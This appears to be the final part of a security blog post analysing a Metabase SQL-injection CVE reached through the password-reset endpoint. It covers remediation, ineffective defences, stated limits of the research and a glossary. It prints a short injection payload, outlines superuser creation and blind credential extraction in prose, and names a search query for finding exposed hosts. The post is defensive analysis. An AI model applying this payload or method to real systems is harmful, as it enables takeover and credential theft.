  • Sessions created through the bug are ordinary sessions. Revoke all of them.
  • API keys created through the bug are ordinary API keys. Audit every one.
  • And every data-source credential in that database should be considered disclosed. Arbitrary SELECT against the application database includes the tables holding connection details for your warehouses. Rotate them. Then check the warehouses’ own logs for access that arrived through Metabase during the window, because that access will look completely legitimate.

6. What will not work

Version checks alone, for the reason in the section above: a release the advisory calls vulnerable is not.

WAF rules keyed on SQL keywords. The payload that proves the bug is {"raw":"1"} — four characters of SQL. The one that exploits it contains INSERT, but there is no requirement that it does; a patient attacker reads the credentials out with blind timing and never writes a byte.

Rate limiting. One request.

Watching for 500s or error bodies. There are none. The endpoint returns the same 400 whatever you do to it.


What is still not proven

In the interest of not doing the thing this post has already complained about:

  • The lab is 0.63 only. The advisory covers 0.58 through 0.63, and the mechanism — an open schema plus a surviving merge key — is almost certainly identical across the lot, but “almost certainly” is an inference and the other five lines were not pulled. In particular, the user-id / user_id spelling result is measured on 0.63.2 and nowhere else; the fix’s docstring implies the snake_case form resolves somewhere, and that somewhere might be an older line or an enterprise SSO provider.
  • 0.63.4 was never pulled. The measured claim is about 0.63.3 and 0.63.5 only. For 0.63.4 to be vulnerable the vendor would have had to revert the fix and re-add it, which is not a thing that happens, but it was not checked and is therefore not claimed.
  • The release dates were not established. The vendor never published source ZIPs for the patch releases, and we did not chase the tag timestamps. If 0.63.3 predates the 2026-08-03 incident, the reading changes from “the advisory’s row was written against the release train” to “the fix shipped silently before the vendor knew it was needed”. Both are consistent with everything measured here; neither is established.
  • The exploit is demonstrated on H2 only. Postgres and MySQL backends are confirmed injectable — the timing oracle fires cleanly on 3004 — but stacked-statement superuser creation is an H2 property. What a Postgres-backed instance yields to a patient blind read of core_user and the data-source credential tables was not tested, and “no stacked statements” is a speed limit, not a wall.
  • The affected-range finding is measured on the 0.63 line only. We do not claim the other five rows of the vendor’s table are wrong. We claim 0.63.3 is not affected, and we claim it from byte sizes, constant pools and live behaviour.
  • Everything ran against official Docker images, not against a customer deployment, a reverse proxy, or anything with a real load on it. Timing numbers from a loopback container are a floor, not a forecast.
  • No exposure census. This post quotes no host counts, because none were collected. http.title:"Metabase" is the pivot if you want to run one; we did not, and a number invented at the end of a technical post is worse than no number.
  • Nothing was reported to the vendor. Stated above, repeated here.
  • The prior-art enumeration is a GitHub repo-name search, run 2026-09-17. Code search needs authentication and was not run, so a PoC living inside a repo not named for the CVE would not appear. The nine repos listed were read statically and never executed; the characterisations are from source, and two of them (d-maggipinto, EQSTLab) were read only in part.
  • We did not independently verify d-maggipinto’s source diff. We read it, and our binary findings are consistent with it — closed and select-keys both appear in our constant-pool diff of metabase/session/api. We did not pull v0.63.15 and check their quoted hunks line by line.

Keywords for the non-specialist

In roughly the order you hit them.

Metabase is a business-intelligence tool: you connect it to your company’s databases and it provides dashboards and a point-and-click query builder so people who do not write SQL can still ask questions of the data.

A data source is one of those connected databases. The application database is a separate one that Metabase keeps for itself, holding its users, sessions, settings and — crucially — the usernames and passwords it uses to reach every data source. This CVE reaches the second one.

H2 is a small database that lives in a single file inside the application, which is why it is Metabase’s default: it needs no setup. Postgres and MySQL are full-sized database servers you run separately, and are what production deployments are told to use instead.

SQL is the language for querying databases. SQL injection is getting a program to treat your input as part of its query rather than as data. Stacked statements are several SQL commands in a single request, separated by semicolons; some databases allow this and some do not, and H2 does, which is what makes this bug worse on the default configuration.

Parameterisation is the normal defence: the query and the data travel separately so data can never become code. It works, it was in use here, and it is why this bug is unusual — the attacker never fought the parameterisation, they handed the query builder an instruction instead of a value.

A query builder is a library that assembles SQL out of data structures rather than strings. HoneySQL is Clojure’s, Toucan2 is the layer Metabase uses on top of it, and :raw is HoneySQL’s deliberate escape hatch meaning “emit this text as SQL untouched” — a normal, necessary feature that becomes a vulnerability the moment an attacker can reach it.

Clojure is the programming language Metabase is written in. It runs on the JVM, the Java virtual machine, and ships as a jar — a single archive containing thousands of compiled class files. An uberjar is one that also contains all its dependencies, which is why Metabase’s is 660 MB.

A namespace is Clojure’s unit of code organisation, roughly a source file. A gensym is a machine-generated name; Clojure numbers anonymous functions with a counter that runs across the whole build, which is why comparing two versions by class name produces tens of thousands of meaningless differences.

A constant pool is the region of a compiled class file holding its literal strings. A docstring is documentation written next to a function in the source; in Clojure it is stored as a literal, so it survives compilation and can be read back out of the shipped binary.

Malli is the schema library Metabase uses to describe what a request body may contain. An open schema ignores keys it was not told about; a closed schema rejects them. The fix is one flag changing the first into the second.

Merge combines two maps; when both contain the same key, one wins. The bug is that the attacker’s map was the base and the program’s own result — which, on a failed login, did not contain the key at all — was merged over the top, so the attacker’s value survived.

An endpoint is the address a request goes to, a request body is the data it carries, and unauthenticated means no account, password or prior access is needed to reach it. Password reset has to be unauthenticated, which is exactly why it is such a sensitive piece of surface.

A superuser or admin is an account that can do everything. bcrypt is a deliberately slow algorithm for storing passwords so that stealing the stored form does not hand over the password; a salt is a unique value mixed in first so identical passwords do not produce identical stored values.

A session is the token in your browser proving you already logged in. An API key is a long secret string a program uses instead of a password. Both were created by the real attacker, and both keep working after you patch, which is why revocation is a separate step from patching.

Rate limiting or throttling caps how often something may be attempted. It is the only thing that slowed this attack down, and it slowed it down by approximately nothing, because the attack needs one request.

CVE is the global naming scheme for publicly known vulnerabilities; CVSS is the 0–10 severity score, and this one is a 10 on both the 3.1 and 4.0 scales. CWE is a classification of kinds of flaw, and CWE-89 is SQL injection. NVD is the US government’s vulnerability database and CISA KEV is its catalogue of vulnerabilities known to be exploited in the wild — a KEV listing is a statement of fact about the world, not a prediction. A zero-day is a vulnerability exploited before the vendor knew it existed, which is what this was.

Patch diffing is the technique this post is built on: take the vulnerable and fixed versions of a program and compare them, on the reasonable assumption that what the vendor changed is a map of what was broken.

A proof of concept, or PoC, is code demonstrating a vulnerability is real. It is not the same as a weaponised exploit, and that distinction is why parts of this post describe tooling rather than publishing it.


References


All analysis was performed on official Metabase jars and Docker images, on an isolated workstation. No third-party Metabase instance was contacted at any point, and no exposure scanning was performed. Public proof-of-concept repositories were read as source and never executed. Nothing in this post is a first disclosure — the vector, the payload and working extraction tooling were all public weeks before it was written, and are linked above. The vendor’s fixed releases remain the authoritative remediation, and rotating every data-source credential remains the step that patching does not do for you.